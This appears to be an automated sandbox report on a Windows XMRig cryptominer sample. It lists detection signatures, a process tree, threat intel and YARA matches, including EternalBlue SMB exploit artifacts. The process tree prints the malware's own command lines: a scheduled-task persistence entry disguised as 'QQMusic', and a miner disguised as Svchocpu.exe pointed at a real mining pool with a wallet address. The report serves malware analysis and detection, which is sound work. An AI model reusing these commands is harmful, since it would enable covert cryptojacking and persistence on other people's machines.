Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1536240
MD5:	efa492099e215a4ea44f157cbc62f081
SHA1:	5cc7f258de315536afd629a0df3688263204826a
SHA256:	af1e97dda5734973a94776e4631957dfd42a8675c966fff64d97aef3dacfbcab
Tags:	CoinMinerexeuser-jstrosch
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Xmrig

Yara detected Powershell download and execute

Yara detected Xmrig cryptocurrency miner

Connects to many different private IPs (likely to spread or exploit)

Connects to many different private IPs via SMB (likely to spread or exploit)

Connects to many ports of the same IP (likely port scanning)

Detected Stratum mining protocol

Excessive usage of taskkill to terminate processes

Found strings related to Crypto-Mining

Machine Learning detection for dropped file

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Sigma detected: Potential Crypto Mining Activity

Sigma detected: Suspicious Epmap Connection

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses ipconfig to lookup or modify the Windows network settings

Uses schtasks.exe or at.exe to add and modify task schedules

Abnormal high CPU Usage

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Too many similar processes found

Uses 32bit PE files

Uses taskkill to terminate processes

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 4208 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EFA492099E215A4EA44F157CBC62F081)

cmd.exe (PID: 2488 cmdline: cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\user\Desktop\file.exe /F MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7020 cmdline: schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\user\Desktop\file.exe /F MD5: 48C2FE20575769DE916F48EF0676A965)

cmd.exe (PID: 5176 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2328 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 5712 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6524 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 6488 cmdline: cmd /c ipconfig /flushdns MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 1476 cmdline: ipconfig /flushdns MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cmd.exe (PID: 1948 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4616 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 5788 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3552 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 7020 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2896 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 7112 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6112 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

Svchocpu.exe (PID: 5704 cmdline: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K MD5: 23D84A7ED2E8E76D0A13197B74913654)

conhost.exe (PID: 3556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5712 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4368 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 1016 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4864 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

Svchocpu.exe (PID: 3556 cmdline: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K MD5: 23D84A7ED2E8E76D0A13197B74913654)

conhost.exe (PID: 1008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7128 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7048 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 1524 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3236 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

Conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Svchocpu.exe (PID: 6112 cmdline: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K MD5: 23D84A7ED2E8E76D0A13197B74913654)

cmd.exe (PID: 4236 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6564 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

Conhost.exe (PID: 5708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 8304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5672 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5708 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

Svchocpu.exe (PID: 7060 cmdline: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K MD5: 23D84A7ED2E8E76D0A13197B74913654)

conhost.exe (PID: 6140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1088 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6872 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

Svchocpu.exe (PID: 5928 cmdline: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K MD5: 23D84A7ED2E8E76D0A13197B74913654)

conhost.exe (PID: 2052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 8216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5176 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4864 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 1948 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1824 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 6508 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7112 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

Svchocpu.exe (PID: 1016 cmdline: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K MD5: 23D84A7ED2E8E76D0A13197B74913654)

cmd.exe (PID: 5664 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4236 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 4368 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 3352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2052 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

Conhost.exe (PID: 7128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 3352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Svchocpu.exe (PID: 5176 cmdline: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K MD5: 23D84A7ED2E8E76D0A13197B74913654)

conhost.exe (PID: 1008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2328 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6312 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

Conhost.exe (PID: 7868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Svchocpu.exe (PID: 7112 cmdline: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K MD5: 23D84A7ED2E8E76D0A13197B74913654)

cmd.exe (PID: 4896 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4396 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 4864 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5588 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

Conhost.exe (PID: 6432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Svchocpu.exe (PID: 1132 cmdline: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K MD5: 23D84A7ED2E8E76D0A13197B74913654)

cmd.exe (PID: 6312 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6140 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 1056 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3192 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

Svchocpu.exe (PID: 6508 cmdline: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K MD5: 23D84A7ED2E8E76D0A13197B74913654)

conhost.exe (PID: 4616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3856 cmdline: cmd /c taskkill /f /im Svchocpu.exe&&exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7128 cmdline: taskkill /f /im Svchocpu.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cmd.exe (PID: 5588 cmdline: cmd /c ipconfig /flushdns MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

file.exe (PID: 5700 cmdline: C:\Users\user\Desktop\file.exe MD5: EFA492099E215A4EA44F157CBC62F081)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
file.exe	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x314d4e:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x31516a:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x314e16:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x314fc7:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x315232:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\X86.dll	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\ProgramData\X64.dll	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\ProgramData\spread.txt	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\ProgramData\spread.txt	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x314d4e:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x31516a:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x314e16:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x314fc7:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x315232:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.2183184833.0000000001A0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000002.2186176518.000000000128C000.00000008.00000001.01000000.00000003.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2192703718.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2189908277.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000000.2142355301.000000000128C000.00000008.00000001.01000000.00000003.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000038.00000002.2198689479.000002790CCC0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000023.00000002.2176852527.000001B0F40E0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2244497786.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2282095723.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000032.00000002.2192534762.000001F36C070000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2202884525.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2209234233.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000002.2171709547.000001F4C53C0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000005D.00000002.2222307156.000001807DA20000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2193263566.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2195947138.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000048.00000002.2206230527.000001501ECA0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000000.2142298215.00000000011EA000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x5bb4e:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x5bf6a:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x5bc16:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x5bdc7:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x5c032:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll
00000000.00000003.2220254125.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2201769693.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2204686441.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2181677252.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.2223455140.0000000003F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000000.2178047816.000000000128C000.00000008.00000001.01000000.00000003.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
